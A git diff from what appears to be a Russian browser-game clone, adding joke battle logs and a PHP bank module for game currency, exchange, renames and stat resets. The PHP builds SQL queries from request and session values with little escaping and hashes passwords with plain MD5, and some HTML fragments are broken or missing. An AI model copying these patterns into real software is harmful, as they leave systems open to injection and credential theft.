    [16:39:13] trykster (Клон 1) пытался что-то сказать но вдруг, неожиданно наглый trykster не подумав, рубанул ножнами по левой ягодице -20 [60/114]
    16:39 Комментатор: Сначала учатся ходить, а потом только в драку лезут.
    [16:39:15] trykster растерялся, как вдруг наглый trykster (Клон 1) приложил удар гардой в промежность -22 [16/114]
    [16:39:15] trykster (Клон 1) пришел в себя, но в это время храбрый trykster , сказав "БУ!", ласково, пробив блок, ударил по левой ягодице.-17 [43/114]
    [16:39:17] trykster пытался что-то сказать но вдруг, неожиданно trykster (Клон 1), разбежавшись, рубанул ножнами в промежность -20 [0/114]
    [16:39:17] trykster (Клон 1) засмотрелся на <вырезано цензурой>, а в это время жестокий trykster, разбежавшись, рубанул огромным мечом по левой ягодице -18 [25/114]
    16:39 trykster проиграл бой!
    [16:39:17] Бой закончен, победа за trykster (Клон 1)
    \ No newline at end of file diff --git a/backup/logs/battle3264.txt b/backup/logs/battle3264.txt new file mode 100644 index 0000000..f218528 --- /dev/null +++ b/backup/logs/battle3264.txt @@ -0,0 +1 @@ +Часы показывали 2017.02.08 17.08, когда rustem_000 [0] и rustem_000 (Клон 1) [0] бросили вызов друг другу.
    [17:08:26] rustem_000 (Клон 1) думал о <вырезано цензурой>, вследствие чего расстроенный rustem_000 заблокировал удар лбом в промежность.
    [17:08:26] rustem_000 (Клон 1) обернулся, как внезапно rustem_000 , сказав "БУ!", ласково ударил по желудку.-6 [12/18]
    [17:08:28] rustem_000 (Клон 1) думал не о том, и мужественный rustem_000 остановил удар кулаком по затылку.
    [17:08:28] rustem_000 пытался нанести удар, но хитрый rustem_000 (Клон 1) остановил удар ребром руки по левой ягодице.
    [17:08:29] rustem_000 (Клон 1) думал о <вырезано цензурой>, вследствие чего rustem_000 остановил удар ногой по затылку.
    [17:08:29] rustem_000 (Клон 1) замешкался, и за это наглый rustem_000, разбежавшись, рубанул грудью по левой ягодице -4 [8/18]
    [17:08:31] rustem_000 (Клон 1) думал о <вырезано цензурой>, вследствие чего храбрый rustem_000 отбил удар ребром руки по затылку.
    [17:08:31] rustem_000 потерял самоконтроль, вследствие чего rustem_000 (Клон 1) заблокировал удар кулаком по левой ягодице.
    17:08 Комментатор: Кто!? Кто здесь?!
    [17:08:35] rustem_000 думал не о том, и обезумевший rustem_000 (Клон 1), разбежавшись, рубанул лбом в область лопаток -4 [14/18]
    [17:08:35] rustem_000 думал о <вырезано цензурой>, вследствие чего злобный rustem_000 (Клон 1) остановил удар ногой по левой ягодице.
    [17:08:37] rustem_000 обернулся, как внезапно rustem_000 (Клон 1) не подумав, рубанул ногой в промежность -3 [11/18]
    [17:08:37] rustem_000 (Клон 1) пришел в себя, но в это время неустрашимый rustem_000 нехотя уколол ногой по левой ягодице -2 [6/18]
    [17:08:39] rustem_000 (Клон 1) старался провести удар, но злобный rustem_000 остановил удар ребром руки по затылку.
    [17:08:39] rustem_000 пытался нанести удар, но злобный rustem_000 (Клон 1) отбил удар левой ногой по левой ягодице.
    [17:08:41] rustem_000 (Клон 1) подскользнулся, и разъяренный rustem_000 заблокировал удар кулаком в область левой пятки.
    [17:08:41] rustem_000 пытался нанести удар, но rustem_000 (Клон 1) отбил удар грудью по левой ягодице.
    [17:08:42] rustem_000 замешкался, и за это наглый rustem_000 (Клон 1) не подумав, рубанул коленом в промежность -5 [6/18]
    [17:08:42] rustem_000 (Клон 1) ковырялся в зубах, и тут бесчувственный rustem_000 нехотя уколол коленом по левой ягодице -3 [3/18]
    17:08 Комментатор: Мысли лезут в голову изнутри, а удары снаружи.
    [17:08:45] rustem_000 замешкался, и за это продвинутый rustem_000 (Клон 1) приложил удар грудью в область лопаток -2 [4/18]
    [17:08:45] rustem_000 (Клон 1) замешкался, и за это разъяренный rustem_000, разбежавшись, рубанул грудью по левой ягодице -3 [0/18]
    17:08 rustem_000 (Клон 1) проиграл бой!
    [17:08:45] Бой закончен, победа за rustem_000
    \ No newline at end of file diff --git a/backup/logs/battle3265.txt b/backup/logs/battle3265.txt new file mode 100644 index 0000000..551fc21 --- /dev/null +++ b/backup/logs/battle3265.txt @@ -0,0 +1 @@ +Часы показывали 2017.02.08 17.26, когда trykster [3] и trykster (Клон 1) [3] бросили вызов друг другу.
    [17:26:46] trykster пытался что-то сказать но вдруг, неожиданно trykster (Клон 1) нехотя уколол мечом в промежность -17 [97/114]
    [17:26:46] trykster пытался провести удар, но продвинутый trykster (Клон 1) отбил удар гардой в правый глаз.
    [17:26:47] trykster (Клон 1) думал о <вырезано цензурой>, вследствие чего злобный trykster заблокировал удар огромным мечом по затылку.
    [17:26:47] trykster (Клон 1) поперхнулся, но вдруг продвинутый trykster отчаянно проткнул рукоятью меча по левой ягодице -20 [94/114]
    [17:26:48] trykster (Клон 1) подскользнулся, и хитрый trykster отбил удар рукоятью меча в область левой пятки.
    [17:26:48] trykster пытался нанести удар, но храбрый trykster (Клон 1) остановил удар рукоятью меча по левой ягодице.
    [17:26:49] trykster (Клон 1) старался провести удар, но бесчувственный trykster отбил удар рукоятью меча по затылку.
    [17:26:49] trykster пытался нанести удар, но злобный trykster (Клон 1) заблокировал удар рукоятью меча по левой ягодице.
    [17:26:50] trykster (Клон 1) подскользнулся, и неустрашимый trykster отбил удар тупым лезвием по затылку.
    [17:26:50] trykster (Клон 1) растерялся, как вдруг хитрый trykster приложил удар рукоятью меча по левой ягодице -22 [72/114]
    [17:26:50] trykster (Клон 1) старался провести удар, но наглый trykster заблокировал удар рукоятью меча по затылку.
    [17:26:50] trykster (Клон 1) ковырялся в зубах, и тут хитрый trykster, разбежавшись, рубанул гардой по левой ягодице -19 [53/114]
    [17:26:51] trykster пришел в себя, но в это время продвинутый trykster (Клон 1) нехотя уколол ножнами в промежность -21 [76/114]
    [17:26:51] trykster (Клон 1) поперхнулся, но вдруг храбрый trykster ударил лезвием меча по левой ягодице -21 [32/114]
    [17:26:52] trykster (Клон 1) закашлялся, и храбрый trykster отбил удар рукоятью меча в область левой пятки.
    [17:26:52] trykster пытался провести удар, но жестокий trykster (Клон 1) остановил удар ножнами по левой ягодице.
    [17:26:52] trykster (Клон 1) подскользнулся, и trykster заблокировал удар лезвием меча в область левой пятки.
    [17:26:52] trykster думал о <вырезано цензурой>, вследствие чего trykster (Клон 1) отбил удар рукоятью меча по левой ягодице.
    [17:26:53] trykster замешкался, и за это trykster (Клон 1) приложил удар огромным мечом в область лопаток -16 [60/114]
    [17:26:53] trykster (Клон 1) пытался что-то сказать но вдруг, неожиданно хитрый trykster приложил удар мечом по левой ягодице -23 [9/114]
    [17:26:54] trykster (Клон 1) думал о <вырезано цензурой>, вследствие чего trykster отбил удар ножнами в область левой пятки.
    [17:26:54] trykster старался провести удар, но расстроенный trykster (Клон 1) заблокировал удар тупым лезвием по левой ягодице.
    17:26 Комментатор: (тревожно озираясь) я вам по секрету скажу... за вами наблюдают!
    [17:26:56] trykster пытался что-то сказать но вдруг, неожиданно неустрашимый trykster (Клон 1), разбежавшись, рубанул гардой в область лопаток -19 [41/114]
    [17:26:56] trykster (Клон 1) забылся, и тут храбрый trykster не подумав, рубанул огромным мечом по левой ягодице -22 [0/114]
    17:26 trykster (Клон 1) проиграл бой!
    [17:26:56] Бой закончен, победа за trykster
    \ No newline at end of file diff --git a/bank.balans.php b/bank.balans.php new file mode 100644 index 0000000..7ba7c63 --- /dev/null +++ b/bank.balans.php @@ -0,0 +1,43 @@ + diff --git a/bank.php b/bank.php new file mode 100644 index 0000000..f74aa8d --- /dev/null +++ b/bank.php @@ -0,0 +1,912 @@ +"; + while ($rah = mysql_fetch_array($banks)) { + echo ""; + } + echo ""; +} + +?> + + + + + + + + +'.$error.''; ?> + + + + + +
    + Cчет № + + Выйти из банка +
    +\r\n"; + $headers = trim($headers); + $headers = stripslashes($headers); + + $aa='Востановление пароля + + Добрый день '.$user['realname'].'.
    + Вами было запрошено востановление пароля для счета '.$_POST['id'].' c IP адреса - '.$ipclient.', если это были не Вы, просто удалите это письмо.
    +
    + ------------------------------------------------------------------
    + Ваш № счета | '.$_POST['id'].'
    + Новый пароль | '.$newpass.'
    + ------------------------------------------------------------------
    +

    +

    Для подтверждения нового пароля пройдите по ссылке ниже.


    + Востановление пароля +
    + Если вы не восстановите пароль до '.date("d-M-Y", $lasttime) .' 00:00, ссылка будет неактивной. +
    + Отвечать на данное письмо не нужно. + + '; + + mail($user['email'],"Востановление банковского счета, для пользователя - ".$user['login'],$aa,$headers); + echo "

    Пароль отправлен Вам на почту.

    "; + die(); + } + else { + echo "

    Сегодня пароль уже высылался.
    Проверьте почту

    "; + die(); + } +} + +if ($_POST['repasswd']) { + ?> + Для востановления пароля необходимо:
    • 1) Выбрать счет.
    • 2) Нажать кнопочку восстановить.
    Вам будет выслано письмо на email, указанный при регистрации, с новым паролем.


    +
    Выберите счет:
    + = 0.5) { + if(mysql_query("INSERT INTO `bank` (`pass`,`owner`) values ('".md5($_POST['rpass2'])."','".$user['id']."');")) { + $sh_num=mysql_insert_id(); + err('Ваш номер счета: '.mysql_insert_id().', запишите.'); + mysql_query("UPDATE users SET `money` = (`money`-0.5) WHERE id='".$user['id']."' LIMIT 1;"); + mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','".$user['login']." открыл счет №".$sh_num." в банке. ',1,'".time()."');"); + mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','".$user['login']." заплатил за открытие счета в банке 0.5 кр. ',1,'".time()."');"); + } + else { + err('Техническая ошибка'); + } + } else { + err('Недостаточно денег'); + } + } else { + err('Не совпадают пароли'); + } + } +?> + + + + + + + + + + + + +
    +
      + + + + + + + + + + +

    +
    +

    Открыть новый счет

    + + + + + + + + + + + + + + + +
    Стоимость 0.5 кр.
    Пароль
    Еще раз
    +
    +
    +
    +

    Войти в счет

    + + + + + + + +
    +№ +
    Пароль +
    + +
    + +
    +
    +
    +
    +

    Восстановить пароль

    + + + + + + + + + +
    +Выберите счет:
    +
    +
    + + +
    +Вам будет выслано письмо на email,
    указанный при регистрации,
    с новым паролем.
    +
    + +
    +


    + +0) && ($_POST['ik'] <= $user['money'])) { + $user['money'] -= $_POST['ik']; + if (mysql_query("UPDATE `users` SET `money`=`money`-'".$_POST['ik']."' WHERE `id`=".$user['id']." LIMIT 1;")) { + $mywarn = "Деньги удачно положены на счет"; + mysql_query("UPDATE `bank` SET `cr`=`cr`+'".$_POST['ik']."' WHERE `id`=".$_SESSION['bankid']." LIMIT 1;"); + mysql_query("INSERT INTO `delo`(`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','Персонаж ".$user['login']." положил на свой счет №".$_SESSION['bankid']." ".$_POST['ik']." кр. ',1,'".time()."');"); + } + else { + $mywarn="Произошла ошибка!"; + } + } + else { + $mywarn="У вас недостаточно денег для выполнения операции"; + } + $_POST['in']=0; + } + $bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`=".$_SESSION['bankid'].";")); + if($_POST['out'] && $_POST['ok']) { + $_POST['ok'] = round($_POST['ok'],2); + if (is_numeric($_POST['ok']) && ($_POST['ok']>0) && ($_POST['ok'] <= $bank['cr'])) { + $user['money'] += $_POST['ok']; + if (mysql_query("UPDATE `users` SET `money`=`money`+'".$_POST['ok']."' WHERE `id`='".$user['id']."' LIMIT 1;")) { + $mywarn="Деньги удачно сняты со счета"; + mysql_query("UPDATE `bank` SET `cr`=`cr`-'".$_POST['ok']."' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;"); + $bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_SESSION['bankid']."';")); + mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','Персонаж ".$user['login']." снял со своего счета №".$_SESSION['bankid']." ".$_POST['ok']." кр.',1,'".time()."');"); + } + else { + $mywarn="Произошла ошибка!"; + } + } + else { + $mywarn="У вас недостаточно денег на счету для выполнения операции"; + } + $_POST['out']=0; + } + +if($_POST['sales'] && $_POST['count_ekr']) { + if(isset($bank['id'])) { + $cnt = round($_POST['count_ekr'], 2); + if($cnt <= 0.4) { + err('Минимальная сумма: 0.5 екр'); + } elseif($bank['ekr'] < $cnt) { + err('Недостаточно средств ...'); + } elseif($user['align'] == 4) { + err('Персонажи с заклятием хаоса, не могут выписывать чеки ...'); + } else { + bank_check(1123, 'shop', null, null, 0, $user['id'], 'Банковский чек на '.$cnt.' еврокредитов', $cnt); + $bank['ekr'] -= $cnt; + mysql_query('UPDATE `bank` SET `ekr` = "'.$bank['ekr'].'" WHERE `id` = "'.$bank['id'].'" LIMIT 1'); + err('Чек на сумму : '.$cnt.' екр., появится у Вас в инвентаре ...'); + } + } else { + err('Банковский счёт, не найден ...'); + } +} + +if($_POST['new_login']) { + if($bank['ekr'] >= $cost_login) { + $login = $_POST['change_login']; + $usid = mysql_fetch_array(mysql_query('SELECT `id`, `login` FROM `users` WHERE `login` = "'.mysql_real_escape_string($login).'" LIMIT 1')); + $fail = 0; + + if(strlen($login) < 2) { + $error .= '
  • Логин должен содержать не менее 2 символов

  • '; + $fail = 1; + } + + if(strlen($login) > 20) { + $error .= '
  • Логин должен содержать не более 20 символов

  • '; + $fail = 1; + } + + if($usid['id'] != null) { + $error .= '
  • Пользователь '.$login.' уже зарегистрирован

  • '; + $fail = 1; + } + + $sr = '_-йцукенгшщзхъфывапролджэячсмитьбюё1234567890'; + $ru = 'УЕЫАОЭЯИЮЁЙЦКНГШЩЗХЪФВПРЛДЖЧСМТЬБ'; + $en = 'EYUIOAQWRTPSDFGHJKLZXCVBNM'; + $is_rus = 0; + $is_eng = 0; + + + for($i = 0; $i < strlen($ru); $i++) { + if(strpos(strtoupper($login), $ru[$i]) > -1) { + $is_rus++; + } + } + + for($i = 0; $i < strlen($en); $i++) { + if(strpos(strtoupper($login), $en[$i]) > -1) { + $is_eng++; + } + } + + if(($is_rus > 0) && ($is_eng > 0)) { + $error .= '
  • Имя может состоять только из букв русского алфавита или только из букв англиского алфавита

  • '; + $fail = 1; + } else { + if($is_eng) { + $s = $en; + $sogl = substr($en, 6); + } else { + $s = $ru; + $sogl = substr($ru, 10); + } + $ps = -1; + $p = 0; + $blacklist = "ЬЪ!@#$%^&*()"; + $blackwordlist = "хуй,пизд,сук,бля"; + $words = 0; + $splits = '-_ '; + + for($i = 0; $i < strlen($login); $i++) { + if(strpos($s, $login[$i]) > -1) { + if(!$p && $i == $ps + 1) { + $p = 1; + $words++; + $lwords[$words] .= $login[$i]; + } elseif($p == 2 && $i > $ps + 1) { + $error = '
  • Имя не может содержать заглавную букву после обычной

  • '; + $fail = 1; + break; + } + } elseif(strpos(strtolower($s), $login[$i]) > -1) { + if(!$p && $i == $ps + 1) { + $words++; + } + $lwords[$words] .= $login[$i]; + $p = 2; + } elseif(strpos($splits, $login[$i]) > -1) { + if($ps == $i - 1) { + $error .= '
  • Не может быть два и более разделителя подряд, также имя не может с них начинаться

  • '; + $fail = 1; + break; + } + $ps = $i; + $p = 0; + } elseif(strpos($sr, $login[$i])) { + + } else { + $error .= '
  • Логин содержит запрещенные символы

  • '; + $fail = 1; + break; + } + } + unset($blacklist, $p, $ps, $rep, $repsogl, $s, $sogl, $is_eng, $is_rus); + + $bwl = explode(",", strtoupper($blackwordlist)); + for($i = 0; $i < count($bwl); $i++) { + if(strpos(strtoupper($login), $bwl[$i]) > -1) { + $error .= '
  • Логин содержит запрещенные слова

  • '; + $fail = 1; + break; + } + } + if($words > 3) { + $error .= '
  • Логин не должен содержать более трех слов

  • '; + $fail = 1; + } + unset($blackwordslist, $bwl); + } + if($fail == 0) { + $user['login'] = mysql_real_escape_string($login); $bank['ekr'] -= $cost_login; + mysql_query('UPDATE `users` SET `login` = "'.$user['login'].'" WHERE `id` = "'.$user['id'].'" LIMIT 1'); + mysql_query('UPDATE `bank` SET `ekr` = "'.$bank['ekr'].'" WHERE `id` = "'.$bank['id'].'" LIMIT 1'); + err('Ваш новый логин "'.$user['login'].'". Поздравляем!'); + } else { + err($error); + } + } else { + err('Недостаточно средств ...'); + } +} + +if($_POST['saled'] && $_POST['coste']) { + $item = mysql_fetch_array(mysql_query('SELECT `id`, `name`, `bcost` FROM `inventory` WHERE `owner` = "'.$user['id'].'" AND `id` = "'.mysql_real_escape_string($_POST['coste']).'" LIMIT 1')); + if(isset($item['id'])) { + if($item['bcost'] > 0) { + mysql_query('DELETE FROM `inventory` WHERE `owner` = "'.$user['id'].'" AND `id` = "'.$item['id'].'" LIMIT 1'); + $bank['ekr'] += $item['bcost']; + mysql_query('UPDATE `bank` SET `ekr` = "'.$bank['ekr'].'" WHERE `id` = "'.$bank['id'].'" LIMIT 1'); + err($item['name'].', успешно обналичен ...'); + } else { + err('Это не чек ...'); + } + } else { + err('Чек, не найден ...'); + } +} + + + if($_POST['change'] && $_POST['ok']) { + $_POST['ok'] = round($_POST['ok'],2); + if (is_numeric($_POST['ok']) && ($_POST['ok']>0) && ($_POST['ok'] <= $bank['ekr'])) { + $bank['cr'] += $_POST['ok'] * 100; + $bank['ekr'] -= $_POST['ok']; + $add_money=$_POST['ok'] * 100; + if (mysql_query("UPDATE `bank` SET `cr`=`cr`+'$add_money' WHERE `id`='".$bank['id']."' LIMIT 1;")) { + $mywarn="Обмен произведен успешно"; + mysql_query("UPDATE `bank` SET `ekr`=`ekr`-'".$_POST['ok']."' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;"); + $bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_SESSION['bankid']."';")); + mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','Персонаж ".$user['login']." обменял ".$_POST['ok']." екр. на ".$add_money." кр. на счету №".$_SESSION['bankid']." в банке. ',1,'".time()."');"); + } + else { + $mywarn="Произошла ошибка!"; + } + } + else { + $mywarn="У вас недостаточно денег на валютном счету для выполнения операции"; + } + $_POST['change']=0; + } + if($_POST['changeback'] && $_POST['ok']) { + $_POST['ok'] = round($_POST['ok'],2); + if (is_numeric($_POST['ok']) && ($_POST['ok']>0) && ($_POST['ok'] <= $bank['cr'])) { + $bank['cr'] -= $_POST['ok']; + $bank['ekr'] += $_POST['ok'] / 500; + $add_ekr=$_POST['ok'] / 500; + if (mysql_query("UPDATE `bank` SET `cr`=`cr`-'".$_POST['ok']."' WHERE `id`='".$bank['id']."' LIMIT 1;")) { + $mywarn="Обмен произведен успешно"; + mysql_query("UPDATE `bank` SET `ekr`=`ekr`+'$add_ekr' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;"); + $bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_SESSION['bankid']."';")); + mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','Персонаж ".$user['login']." обменял ".$_POST['ok']." кр. на ".$add_ekr." екр. на счету №".$_SESSION['bankid']." в банке. ',1,'".time()."');"); + } + else { + $mywarn="Произошла ошибка!"; + } + } + else { + $mywarn="У вас недостаточно денег для выполнения операции"; + } + $_POST['changeback']=0; + } + if($_GET['dropm']) { + if (2 <= $bank['ekr']) { + undressall($user['id']); + if (mysql_query("UPDATE `users` SET `master`=noj+mec+topor+dubina+mfire+mwater+mair+mearth+mlight+mgray+mdark+master,noj=0,mec=0,topor=0,dubina=0,mfire=0,mwater=0,mair=0,mearth=0,mlight=0,mgray=0,mdark=0 WHERE `id`='".$user['id']."' LIMIT 1;")) { + mysql_query("UPDATE `bank` SET `ekr`=`ekr`-'2' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;"); + mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','".$user['login']." перераспределил умения, заплатив 2 екр. со счета №".$_SESSION['bankid']." в банке. ',1,'".time()."');"); + $bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_SESSION['bankid']."';")); + $mywarn="Все прошло удачно. Вы можете перераспределить умения."; + } + else { + $mywarn="Произошла ошибка!"; + } + } + else { + $mywarn="У вас недостаточно денег на валютном счету для выполнения операции"; + } + $_GET['dropm']=0; + } + + if($_GET['dropst']) { + $travma = mysql_fetch_array(mysql_query("SELECT * FROM `effects` WHERE `owner`='".$user['id']."' and (`type`=11 or `type`=12 or `type`=13 or `type`=14) order by `type` desc limit 1;")); + if ($travma['type']) { + $mywarn = "Невозможно сбрасывать статы находясь в травме!"; + } else { + undressall($user['id']); + $user1 = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id`='".$user['id']."' LIMIT 1;")); + $svstats=$user1['sila'] + $user1['lovk'] + $user1['inta'] + $user1['vinos'] + $user1['intel'] + $user1['mudra'] - 12 - $user1['level']; + if ($svstats <= $bank['ekr']) { + $exps = array( "20" => array (15), + "45" => array (16), + "75" => array (17), + "110" => array (18), + "160" => array (21), + "215" => array (22), + "280" => array (23), + "350" => array (24), + "410" => array (25), + "530" => array (28), + "670" => array (29), + "830" => array (30), + "950" => array (31), + "1100" => array (32), + "1300" => array (33), + "1450" => array (36), + "1650" => array (37), + "1850" => array (38), + "2050" => array (39), + "2200" => array (40), + "2500" => array (41), + "2900" => array (46), + "3350" => array (47), + "3800" => array (48), + "4200" => array (49), + "4600" => array (50), + "5000" => array (51), + "6000" => array (54), + "7000" => array (55), + "8000" => array (56), + "9000" => array (57), + "10000" => array (58), + "11000" => array (59), + "12000" => array (60), + "12500" => array (61), + "14000" => array (64), + "15500" => array (65), + "17000" => array (66), + "19000" => array (67), + "21000" => array (68), + "23000" => array (69), + "26000" => array (70), + "30000" => array (71), + "60000" => array (76), + "75000" => array (77), + "150000" => array (78), + "175000" => array (79), + "200000" => array (80), + "225000" => array (81), + "250000" => array (82), + "260000" => array (83), + "280000" => array (84), + "300000" => array (85), + "1500000" => array (86), + "1750000" => array (87), + "2000000" => array (88), + "2175000" => array (89), + "2300000" => array (90), + "2400000" => array (91), + "2500000" => array (92), + "2600000" => array (93), + "2800000" => array (94), + "3000000" => array (95), + "6000000" => array (96), + "6500000" => array (97), + "7500000" => array (98), + "8500000" => array (99), + "9000000" => array (100), + "9250000" => array (101), + "9500000" => array (102), + "9750000" => array (103), + "9900000" => array (104), + "10000000" => array (105), + "13000000" => array (106), + "14000000" => array (107), + "15000000" => array (108), + "16000000" => array (109), + "17000000" => array (110), + "17500000" => array (111), + "18000000" => array (112), + "19000000" => array (113), + "19500000" => array (114) ); + echo "
    ";
    +      $ss = mysql_query("select `id`,`nextup`,`level` FROM `users` WHERE `level` > 0 AND `level` < 8 AND id='".$user['id']."';");
    +      $errdo=0;
    +      while($ssd=mysql_fetch_array($ss)) {
    +        undressall($ssd['id']);
    +        if (!mysql_query( "UPDATE `users` SET `sila`='3',`lovk`='3',`inta`='3',`vinos`='".(3+$ssd['level'])."',`intel`='0',`fkrit`='0',`fakrit`='0',`fuvorot`='0',`fauvorot`='0',`stats`='".($exps[$ssd['nextup']][0]-12)."' WHERE `id`='".$ssd['id']."';")) $errdo=1;
    +      }
    +      if ($errdo==0) {
    +        mysql_query("UPDATE `bank` SET `ekr`=`ekr`-'".$svstats."' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;");
    +        mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','".$user['login']." перераспределил статы, заплатив ".$svstats." екр. со счета №".$_SESSION['bankid']." в банке. ',1,'".time()."');");
    +        $bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_SESSION['bankid']."';"));
    +        $mywarn="Все прошло удачно. Вы можете перераспределить статы.";
    +      }
    +      else {
    +        $mywarn="Произошла ошибка! Обратитесь к палладинам.";
    +      }
    +
    +      $vinos=$user1['level']+3;
    +      $hp=$vinos*6;
    +      if (mysql_query("UPDATE `users` SET `stats`='".$svstats."',lovk=3,sila=3,inta=3,vinos='".$vinos."',hp='".$hp."',maxhp='".$hp."',intel=0,mudra=0 WHERE `id`='".$user['id']."' LIMIT 1;")) {
    +        mysql_query("UPDATE `bank` SET `ekr`=`ekr`-'".$svstats."' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;");
    +        mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','".$user['login']." перераспределил статы, заплатив ".$svstats." екр. со счета №".$_SESSION['bankid']." в банке. ',1,'".time()."');");
    +        $bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_SESSION['bankid']."';"));
    +
    +        $mywarn="Все прошло удачно. Вы можете перераспределить статы.";
    +
    +      }
    +      else {
    +        $mywarn="Произошла ошибка!";
    +      }
    +    }
    +    else {
    +      $mywarn="У вас недостаточно денег на валютном счету для выполнения операции";
    +    }
    +  }
    +  $_GET['dropst']=0;
    +}
    +
    +if($_GET['dropsh']) {
    +  if (1 <= $bank['ekr']) {
    +    if (mysql_query("UPDATE `users` SET `shadow`='0.gif' WHERE `id`='".$user['id']."' LIMIT 1;")) {
    +      mysql_query("UPDATE `bank` SET `ekr`=`ekr`-'1' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;");
    +      mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','".$user['login']." сменил образ, заплатив 1 екр. со счета №".$_SESSION['bankid']." в банке. ',1,'".time()."');");
    +      $bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_SESSION['bankid']."';"));
    +      $mywarn="Все прошло удачно. Вы можете выбрать новый образ персонажа.";
    +    }
    +    else {
    +      $mywarn="Произошла ошибка!";
    +    }
    +  }
    +  else {
    +    $mywarn="У вас недостаточно денег на валютном счету для выполнения операции";
    +  }
    +  $_GET['dropsh']=0;
    +}
    +
    +if($_GET['unset_align']) {
    +  $var = mysql_fetch_array(mysql_query('SELECT `name` FROM `aligns` WHERE `align` = "'.$user['align'].'" LIMIT 1'));
    +  if($bank['ekr'] >= 5) {
    +    if($user['align'] > 0) {
    +      if($user['klan'] == '') {
    +        if($user['align'] != 4 && $user['align'] != 2.99) {
    +          $bank['ekr'] -= 5;
    +          mysql_query('UPDATE `users` SET `align` = "0" WHERE `id` = "'.$user['id'].'" LIMIT 1');
    +          mysql_query('UPDATE `bank` SET `ekr` = "'.$bank['ekr'].'" WHERE `id` = "'.$bank['id'].'" LIMIT 1');
    +          mysql_query('INSERT INTO `delo` (`author`, `pers`, `text`, `type`, `date`) VALUES ("0", "'.$user['id'].'", "'.$user['login'].' отказался от склонности ('.$var['name'].') за 5 екр со счёта #'.$bank['id'].'", "1", "'.time().'")');
    +          $mywarn = "Все прошло удачно. Вы отказались от склонности ...";
    +        } else {
    +          $mywarn = "Данную склонность нельзя снять ...";
    +        }
    +      } else {
    +        $mywarn = "Нельзя отказаться от склонности находясь в клане ...";
    +      }
    +    } else {
    +      $mywarn = "У Вас нет склонности ...";
    +    }
    +  } else {
    +    $mywarn = "Недостаточно средств ...";
    +  }
    +  $_GET['unset_align'] = 0;
    +}
    +
    +if($_GET['setskltemn']) {
    +  if (50 <= $bank['ekr']) {
    +    if (mysql_query("UPDATE `users` SET `align`='3' WHERE `id`='".$user['id']."' LIMIT 1;")) {
    +      $user['align'] = 3;
    +      mysql_query("UPDATE `bank` SET `ekr`=`ekr`-'50' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;");
    +      mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','".$user['login']." купил темную склонность за 50 екр. со счета №".$_SESSION['bankid']." в банке. ',1,'".time()."');");
    +      $bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id` = ".$_SESSION['bankid'].";"));
    +      $mywarn="Склонность успешно присвоена.";
    +    }
    +    else {
    +      $mywarn="Произошла ошибка!";
    +    }
    +  }
    +  else {
    +    $mywarn="У вас недостаточно денег на валютном счету для выполнения операции";
    +  }
    +  $_GET['setskltemn']=0;
    +}
    +
    +if($_GET['setsklneytr']) {
    +  if (50 <= $bank['ekr']) {
    +    if (mysql_query("UPDATE `users` SET `align`='2' WHERE `id`='".$user['id']."' LIMIT 1;")) {
    +      $user['align'] = 2;
    +      mysql_query("UPDATE `bank` SET `ekr`=`ekr`-'50' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;");
    +      mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','".$user['login']." купил нейтральную склонность за 50 екр. со счета №".$_SESSION['bankid']." в банке. ',1,'".time()."');");
    +      $bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_SESSION['bankid']."';"));
    +      $mywarn="Склонность успешно присвоена.";
    +    }
    +    else {
    +      $mywarn="Произошла ошибка!";
    +    }
    +  }
    +  else {
    +    $mywarn="У вас недостаточно денег на валютном счету для выполнения операции";
    +  }
    +  $_GET['setsklneytr']=0;
    +}
    +
    +if($_GET['setsvet']) {
    +  if(50 <= $bank['ekr']) {
    +    if(mysql_query("UPDATE `users` SET `align` = '6' WHERE `id` = '".$user['id']."' LIMIT 1")) {
    +      $user['align'] = 6;
    +      mysql_query("UPDATE `bank` SET `ekr` = `ekr`-'50' WHERE `id` = '".$_SESSION['bankid']."' LIMIT 1");
